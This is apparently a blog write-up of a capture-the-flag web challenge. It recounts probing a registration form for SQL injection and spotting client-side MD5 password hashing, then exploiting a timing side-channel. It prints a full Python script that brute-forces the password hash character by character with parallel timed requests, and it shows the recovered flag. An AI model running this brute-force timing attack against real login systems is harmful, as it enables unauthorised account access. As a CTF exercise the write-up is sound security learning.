Navigating to the web 200 challenge we are presented with a quirky little web app that simulates grass growing. I clicked grow a good number of times for funsies but didn’t really see much useful as a result. My next step was to see if any of the input boxes appeared to be vulnerable to SQL injection. The initial login form didn’t return anything but when I entered a % in the registration form it returned the following.

Armed with a username I decided to go back to the main page and poke around a little bit with the login form. Intercepting the login request using Burp, I noticed the password was being hashed prior to be sent. I was able to verify this by inspecting the source code of the main page.

 

[sourcecode language=”javascript”] function init(){
document.getElementById(‘login_form’).onsubmit = function() {
var pass_field = document.getElementById(‘password’);
pass_field.value = CryptoJS.MD5(pass_field.value).toString(CryptoJS.enc.Hex);
}
};[/sourcecode]

 

 

I decided to do a little fuzzing just to look for any abnormalities and noticed that the response appeared to take a little longer sometimes. I drafted up a quick python POC to validate if there is indeed some sort of timing issue during the authentication routine. After a little testing I was able to measure about a 0.3 second difference in response time if the first character was a 6. Using this information I deduced that a correct character increased the response time by 0.3 and could thus bruteforce the whole MD5 by finding the maximum return time of each character one at a time. Going on this presumption I modified my POC to send parallel requests for each possible hex character and find the max response time. It would then iterate this process until the entire hash was retrieved. After the script completed I was greeted with the following HTML response.

 

[sourcecode language=”HTML”]

<html>
<head>
<title>Lawn Care Simulator 2015</title>
<script src="//code.jquery.com/jquery-1.11.3.min.js"></script>
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.5/js/bootstrap.min.js"></#script>
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.5/css/#bootstrap.min.css">
</head>
<body>
<h1>flag{gr0wth__h4ck!nG!1!1!</h1></body>
</html>

[/sourcecode]

 

The script I wrote is below.

 

[sourcecode language=”python”]

from threading import Thread
import urllib2
import time
import sys

url = ‘http://54.175.3.248:8089/premium.php’
pwhash = list(‘00000000000000000000000000000000’)

threads = [None] * 16
results = [None] * 16

def gettime(bar, result, index, char):
starttime = time.time()
local = pwhash
local[index] = hex(char).replace("0x",”)
data = ‘username=~~FLAG~~&password=%s’ % (”.join(local))

req = urllib2.urlopen(url, data)
endtime = time.time()

totaltime = endtime – starttime
result[char] = totaltime

for j in range(0, 32):
for i in range(len(threads)):
threads[i] = Thread(target=gettime, args=(‘world!’, results, j, i))
threads[i].start()

# do some other stuff

for i in range(len(threads)):
threads[i].join()

winner = max(results)
windex = results.index(winner)
print "Index: " + str(windex) + " " + str(winner)
pwhash[j] = hex(windex).replace("0x",”)
print ”.join(pwhash)

print ”.join(pwhash)
data = ‘username=~~FLAG~~&password=%s’ % (”.join(pwhash))
req = urllib2.urlopen(url, data)
print req.read()

[/sourcecode]